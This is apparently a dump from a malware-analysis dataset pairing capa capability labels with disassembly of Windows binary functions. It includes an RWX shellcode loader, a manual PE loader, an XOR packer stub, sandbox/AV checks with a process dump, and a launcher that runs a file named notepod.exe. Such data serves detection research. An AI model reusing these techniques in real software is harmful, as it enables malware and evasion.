joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c568
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
or dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x34], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [esi + 0x38], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [esi + 0x3c], eax
cmp byte [esi + 0x2c], bl
jne 0x40c59e
push str.GIF_not_initialized
mov ecx, 0x427068
call fcn.00416d9e
pop ecx
jmp 0x40c5e5
cmp dword [esi + 0x24], 1
jbe 0x40c5e5
cmp dword [esi + 0x14], ebx
jne 0x40c5e5
lea eax, [ebp + 8]
push eax
push 4
push esi
push 0x40c7f3
push ebx
push ebx
mov dword [ebp + 8], ebx
call dword [sym.imp.MSVCR100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 0x14], eax
cmp eax, ebx
jne 0x40c5de
push str.Couldnt_start_a_GIF_animation_thread_n
mov ecx, 0x427068
call fcn.00416d9e
pop ecx
mov al, 1
jmp 0x40c5e7
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor al, al
pop ebx
pop ebp
ret 0xc

Function at 0x40c644
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push 0x4237c0
push 0x86
mov esi, eax
mov byte [ebp - 1], 0
call fcn.00413cc6
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x40c677
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
jmp 0x40c6e1
push edi
call fcn.00413cc6
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x40c673
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40c6d4
cmp dword [ebp + 8], 0
push edi
jne 0x40c6b0
call fcn.00413cc6
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esi], eax
jmp 0x40c6d0
mov esi, dword [esi]
call fcn.00413cc6
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp esi, eax
jl 0x40c6d4
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_memcpy]
add esp, 0xc
mov byte [ebp - 1], 1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov al, byte [ebp - 1]
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x40cc14
Capabilities:
Check for sandbox and av modules
Check if file exists
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push dword [ebp + 0x14]
mov esi, eax
mov edi, ecx
push esi
mov ebx, 0x427054
push 0x428d60
mov ecx, ebx
call fcn.00416d9e
add esp, 0xc
test esi, esi
je 0x40cd97
cmp dword [ebp + 8], 0
je 0x40cd97
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40cc5e
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x40cdaa
mov esi, 0x428dfc
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x40ccb0
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
jne 0x40ccb0
push str.Load_dbghelp.dll_failed
mov ecx, ebx
call fcn.00416d9e
pop ecx
jmp 0x40cdaa
push str.MiniDumpWriteDump
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x40ccdb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetProcAddress_of_MiniDumpWriteDump_failed___ld_
mov ecx, ebx
call fcn.00416d9e
pop ecx
jmp 0x40ccaa
mov dword [ebp - 8], esi
cmp dword [ebp + 0x10], esi
jne 0x40cd0e
push dword [ebp + 0xc]
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp + 0x10], eax
mov dword [ebp - 8], 1
cmp eax, esi
jne 0x40cd0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenProcess_failed___ld_
jmp 0x40ccd1
mov eax, dword [edi + 0x44]
mov ecx, dword [eax]
lea ecx, [ecx*8 + 4]
push ecx
push eax
push 0x10fff
call fcn.0040cdb3
mov eax, dword [edi + 0x14]
sub eax, dword [edi + 0x10]
push 0xc
cdq
pop ecx
idiv ecx
test eax, eax
je 0x40cd42
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp - 0x1c], 0x40c97f
push dword [ebp + 0x14]
mov dword [ebp - 0x18], edi
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [ebp - 0xc]
test eax, eax
jne 0x40cd78
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.MiniDumpWriteDump_failed___08X_
jmp 0x40ccd1
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [edi + 0x40], 0
call esi
cmp dword [ebp - 8], 0
je 0x40cd92
push dword [ebp + 0x10]
call esi
xor eax, eax
inc eax
jmp 0x40cdac
push dword [ebp + 8]
mov ecx, ebx
push esi
push str.Invalid_parameters__file_s__exceptioninfo_p
call fcn.00416d9e
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40da29
Capabilities:
Get file version info

Disassembly:
push 0x238
mov eax, 0x421166
call fcn.0041fc5d
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x244], eax
cmp eax, edi
jne 0x40da4e
xor eax, eax
jmp 0x40dc4f
push ecx
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
xor eax, eax
cmp esi, edi
je 0x40dc4f
push 0x208
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push edi
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x220]
push eax
push edi
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
push esi
test eax, eax
jne 0x40daa4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40da47
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x220]
push eax
mov dword [ebp - 0x234], edi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov esi, eax
cmp esi, edi
je 0x40da47
push esi
call fcn.0041f201
pop ecx
push eax
push esi
push dword [ebp - 0x234]
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x40da47
mov esi, dword [sym.imp.VERSION.dll_VerQueryValueW]
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x23c]
push eax
push str.VarFileInfoTranslation
push dword [ebp - 0x228]
mov dword [ebp - 0x23c], edi
mov dword [ebp - 0x230], edi
call esi
xor ebx, ebx
test dword [ebp - 0x230], 0xfffffffc
mov dword [ebp - 0x238], edi
jbe 0x40dc3c
mov eax, dword [section..data]
mov ecx, section..data
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x23c]
lea eax, [eax + ebx*4]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x22c]
push str.StringFileInfo_04x_04xCompanyName
push eax
call fcn.004062b2
add esp, 0x10
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x224]
push eax
push dword [ebp - 0x22c]
mov dword [ebp - 0x224], edi
push dword [ebp - 0x228]
mov dword [ebp - 0x240], edi
call esi
test eax, eax
jne 0x40dbc7
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x224]
push eax
push str.StringFileInfo040904e4CompanyName
push dword [ebp - 0x228]
call esi
test eax, eax
je 0x40dbe7
cmp dword [ebp - 0x224], edi
je 0x40dbe7
push dword [ebp - 0x244]
push dword [ebp - 0x224]
call dword [sym.imp.MSVCR100.dll_wcsstr]
pop ecx
pop ecx
test eax, eax
jne 0x40dc0d
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x22c]
add eax, 0xfffffff0
call fcn.00401613
mov eax, dword [ebp - 0x230]
inc ebx
shr eax, 2
cmp ebx, eax
jb 0x40db3d
jmp 0x40dc3c
push dword [ebp - 0x224]
mov ecx, 0x427040
push str.company_name__s
call fcn.00416d9e
mov eax, dword [ebp - 0x22c]
pop ecx
pop ecx
add eax, 0xfffffff0
mov dword [ebp - 0x238], 1
call fcn.00401613
push dword [ebp - 0x228]
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
mov eax, dword [ebp - 0x238]
pop ecx
call fcn.0041fce0
ret
Function at 0x41966e
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x432034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 3
push edi
push str..PhysicalDrive0
mov dword [ebp - 0x418], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp eax, 0xffffffff
je 0x419765
mov esi, dword [sym.imp.MSVCR100.dll_memset]
push ebx
push 0xc
lea eax, [ebp - 0x410]
push edi
push eax
call esi
mov ebx, 0x400
push ebx
lea eax, [ebp - 0x404]
push edi
push eax
mov dword [ebp - 0x410], edi
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x41c], edi
call esi
add esp, 0x18
push edi
lea eax, [ebp - 0x41c]
push eax
push ebx
lea eax, [ebp - 0x404]
push eax
push 0xc
lea eax, [ebp - 0x410]
push eax
push 0x2d1400
push dword [ebp - 0x414]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop ebx
test eax, eax
je 0x419759
mov esi, dword [ebp - 0x3f4]
lea esi, [ebp + esi - 0x404]
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCR100.dll_isalnum]
pop ecx
test eax, eax
je 0x419759
push esi
call dword [sym.imp.MSVCR100.dll_strlen]
pop ecx
mov ecx, esi
mov esi, dword [ebp - 0x418]
call fcn.00406bd6
push dword [ebp - 0x414]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x419767
push dword [ebp - 0x414]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0041f212
leave
ret 4

Function at 0x41a137
Capabilities:
Get local ipv4 addresses

Disassembly:
push 0x18
mov eax, 0x421b40
call fcn.0041fc5d
mov eax, dword [ebp + 8]
mov edi, str.bugreport
push str.M_GetAdaptersAddresses_begin.
mov ecx, edi
mov dword [ebp - 0x14], eax
call fcn.00416d9e
xor ebx, ebx
pop ecx
mov dword [ebp - 0x1c], ebx
xor esi, esi
mov dword [ebp - 0x18], ebx
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
push ebx
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov dword [ebp - 0x20], eax
cmp eax, 0x6f
jne 0x41a1e2
cmp esi, ebx
je 0x41a188
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
pop ecx
mov eax, dword [ebp - 0x1c]
add eax, 0x120
push eax
call fcn.0041f201
mov esi, eax
pop ecx
cmp esi, ebx
je 0x41a1cd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 5
jl 0x41a165
cmp esi, ebx
je 0x41a1b2
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
pop ecx
push dword [ebp - 0x20]
mov ecx, edi
push str.GetAdaptersAddresses_failed___ld_.
call fcn.00416d9e
pop ecx
xor eax, eax
pop ecx
call fcn.0041fce0
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Allocate_memory_failed___ld__in_M_GetAdaptersAddresses.
mov ecx, edi
call fcn.00416d9e
pop ecx
pop ecx
cmp dword [ebp - 0x20], ebx
jne 0x41a1a6
cmp esi, ebx
je 0x41a1b2
push dword [ebp - 0x14]
mov ecx, esi
call fcn.0041a219
mov edi, eax
cmp edi, ebx
je 0x41a20e
mov ecx, dword [ebp - 0x14]
call fcn.0041a656
mov ecx, dword [ebp - 0x14]
call fcn.0041a8d5
xor edi, edi
inc edi
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
mov eax, edi
jmp 0x41a1c4
Function at 0x41ae76
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov edi, dword [ebp + 8]
test edx, edx
jle 0x41aee0
sub ecx, edi
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
push esi
inc byte [eax + 0x100]
movzx esi, byte [eax + 0x100]
mov cl, byte [esi + eax]
add byte [eax + 0x101], cl
movzx ecx, byte [eax + 0x101]
mov bl, byte [ecx + eax]
mov dl, byte [esi + eax]
mov byte [esi + eax], bl
mov byte [ecx + eax], dl
movzx ecx, byte [eax + 0x101]
movzx edx, byte [eax + 0x100]
mov cl, byte [ecx + eax]
add cl, byte [edx + eax]
mov edx, dword [ebp - 8]
movzx ecx, cl
mov cl, byte [ecx + eax]
xor cl, byte [edx + edi]
mov byte [edi], cl
inc edi
dec dword [ebp - 4]
jne 0x41ae8d
pop esi
pop ebx
pop edi
leave
ret
Function at 0x41f212
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432034]
jne 0x41f21c
repz ret
jmp fcn.0041f6f1
Function at 0x401000
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [0x403010]
mov dword [eax], 1
mov eax, dword [0x403014]
mov dword [eax], 1
mov eax, dword [0x403018]
mov dword [eax], 1
mov ecx, dword [0x403004]
movzx edx, word [ecx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x40107b
mov edx, dword [ecx + 0x3c]
cmp dword [ecx + edx], 0x4550
jne 0x40107b
add ecx, edx
movzx edx, word [ecx + 0x18]
cmp edx, 0x20b
je 0x401064
cmp edx, 0x10b
jne 0x40107b
cmp dword [ecx + 0x74], 0xf
jb 0x40107b
add ecx, 0xe8
jmp 0x401073
cmp dword [ecx + 0x84], 0xf
jb 0x40107b
add ecx, 0xf8
xor eax, eax
cmp dword [ecx], 0
setne al
push esi
mov ecx, dword [0x40300c]
cmp dword [ecx], 1
mov dword [0x515fd0], eax
mov eax, 2
sbb eax, 0
push eax
call sym.__set_app_type
add esp, 4
mov eax, dword [0x403040]
mov esi, dword [eax]
call sym.___p__fmode
mov dword [eax], esi
mov eax, dword [0x403038]
mov esi, dword [eax]
call sym.___p__commode
mov dword [eax], esi
call dbg._setargv
mov eax, dword [section..rdata]
cmp dword [eax], 1
jne 0x4010d3
push dbg._matherr
call dbg.__mingw_setusermatherr
add esp, 4
xor eax, eax
pop esi
ret

Function at 0x401110
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x40300c]
mov dword [eax], 1
jmp dbg.__tmainCRTStartup

Function at 0x401340
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0x160
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401390
lea eax, str.Erreur_dallocation_de_mmoire_excutable_n
mov dword [esp], eax
call dbg.printf
jmp 0x4013b0
mov ecx, dword [ebp - 4]
lea eax, section..data
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x160
call sym._memcpy
call dword [ebp - 4]
add esp, 0x14
pop ebp
ret
Function at 0x4013c0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x30
lea eax, [0x405160]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
lea eax, [0x405160]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x50]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40142b
lea eax, str.Erreur_dallocation_de_mmoire_excutable_n
mov dword [esp], eax
call dbg.printf
jmp 0x4014db
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x54]
lea ecx, [0x405160]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
add eax, 0x18
mov ecx, dword [ebp - 0xc]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x4014cc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x18], 0x28
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
imul eax, dword [ebp - 0x18], 0x28
add ecx, eax
lea eax, [0x405160]
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
imul esi, dword [ebp - 0x18], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call sym._memcpy
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x401463
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
add eax, dword [ecx + 0x28]
mov dword [ebp - 0x24], eax
call dword [ebp - 0x24]
add esp, 0x30
pop esi
pop ebp
ret

Function at 0x401be0
Capabilities:
Write file on windows

Disassembly:
push esi
push eax
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
mov dword [esp], eax
push 2
call sym.___acrt_iob_func
add esp, 4
push eax
push 1
push 0x1b
push str.Mingw_w64_runtime_failure:_n
call sym._fwrite
add esp, 0x10
push 2
call sym.___acrt_iob_func
add esp, 4
push dword [esp]
push esi
push eax
call dbg.vfprintf
add esp, 0xc
call sym._abort
int3
Function at 0x402090
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, dword [esp + 0x18]
cmp eax, 3
ja case.default.0x4020a1
jmp dword [eax*4 + 0x40339c]
cmp dword [0x516038], 0
je 0x4021b0
push 0x51603c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x516054]
test edi, edi
je 0x4021a5
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4020eb
mov edi, dword [edi + 8]
test edi, edi
je 0x4021a5
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x4020e0
test esi, esi
je 0x4020e0
mov ecx, dword [edi + 4]
call dword [0x403468]
push esi
call ecx
add esp, 4
jmp 0x4020e0
call dbg._fpreset
jmp case.default.0x4020a1
cmp dword [0x516038], 0
je case.default.0x4020a1
push 0x51603c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [0x516054]
test edi, edi
je 0x402198
mov ebx, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x402157
mov edi, dword [edi + 8]
test edi, edi
je 0x402198
push dword [edi]
call ebx
mov esi, eax
call ebp
test eax, eax
jne 0x402150
test esi, esi
je 0x402150
mov ecx, dword [edi + 4]
call dword [0x403468]
push esi
call ecx
add esp, 4
jmp 0x402150
cmp dword [0x516038], 0
jne 0x40218c
push 0x51603c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x516038], 1
jmp case.default.0x4020a1
push 0x51603c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp case.default.0x4020a1
push 0x51603c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x516038]
cmp eax, 1
jne case.default.0x4020a1
mov eax, dword [0x516054]
test eax, eax
je 0x4021e2
nop word cs:[eax + eax]
mov esi, dword [eax + 8]
push eax
call sym._free
add esp, 4
mov eax, esi
test esi, esi
jne 0x4021d0
mov dword [0x516054], 0
mov dword [0x516038], 0
push 0x51603c
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, 1
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x402340
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push edi
push esi
mov esi, dword [0x403004]
movzx ecx, word [esi]
xor eax, eax
cmp ecx, 0x5a4d
jne 0x4023a6
mov ecx, dword [esi + 0x3c]
cmp dword [esi + ecx], 0x4550
jne 0x4023a6
add esi, ecx
movzx ecx, word [esi + 0x18]
cmp ecx, 0x10b
jne 0x4023a6
movzx ecx, word [esi + 6]
test ecx, ecx
je 0x4023a6
mov edx, dword [esp + 0xc]
sub edx, dword [0x403004]
movzx edi, word [esi + 0x14]
add esi, edi
add esi, 0x18
jmp 0x402396
add esi, 0x28
dec ecx
je 0x4023a6
mov edi, dword [esi + 0xc]
cmp edi, edx
ja 0x402390
add edi, dword [esi + 8]
cmp edi, edx
jbe 0x402390
mov eax, esi
pop esi
pop edi
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x5b470ec1
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x4cc03da2
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4015cf
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebx
push ebp
push esi
mov ebx, dword [sym.imp.MSVCRT.dll_wcsncpy]
push edi
mov edi, dword [esp + 0x18]
push 0x100
mov esi, 0x4030e4
push dword [edi]
push esi
call ebx
push 0x4030c0
push esi
call dword [sym.imp.MSVCRT.dll__wstat]
add esp, 0x14
call fcn.00401000
test al, al
jne 0x401668
push 0x4032e4
push esi
call fcn.00401148
pop ecx
xor ebp, ebp
test eax, eax
pop ecx
je 0x401661
mov eax, dword [esp + 0x14]
mov esi, 0x4038f8
cmp eax, 1
jbe 0x40164c
mov ebx, dword [sym.imp.MSVCRT.dll_wcscat]
add edi, 4
dec eax
mov dword [esp + 0x14], eax
push 0x403060
push esi
call ebx
push dword [edi]
push esi
call ebx
add esp, 0x10
add edi, 4
dec dword [esp + 0x14]
jne 0x401633
push 1
push ebp
push esi
push 0x4032e4
push str.open
push ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebp
call dword [sym.imp.MSVCRT.dll_exit]
push edi
xor ebp, ebp
push dword [esp + 0x18]
mov word [0x4032e4], bp
call fcn.00401062
pop ecx
test eax, eax
pop ecx
je 0x4016cc
push 0x104
mov esi, 0x4034e4
push 0x4036e4
push esi
call ebx
push str._notepod.exe
push esi
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 0x14
call fcn.0040125f
test eax, eax
je 0x4016cc
push 1
push ebp
push ebp
mov edi, str.open
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
push ebp
call esi
push 1
push ebp
push ebp
push 0x4032e4
push edi
push ebp
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x40170f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402088
push 0x401850
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403cf8], 0xffffffff
or dword [0x403cfc], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x403cf4]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403cf0]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403d00], eax
call fcn.00401841
cmp dword [0x4030b0], 0
jne 0x401792
push 0x40183e
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0040182c
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403cec]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403ce8]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___wgetmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___winitenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004015cf
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret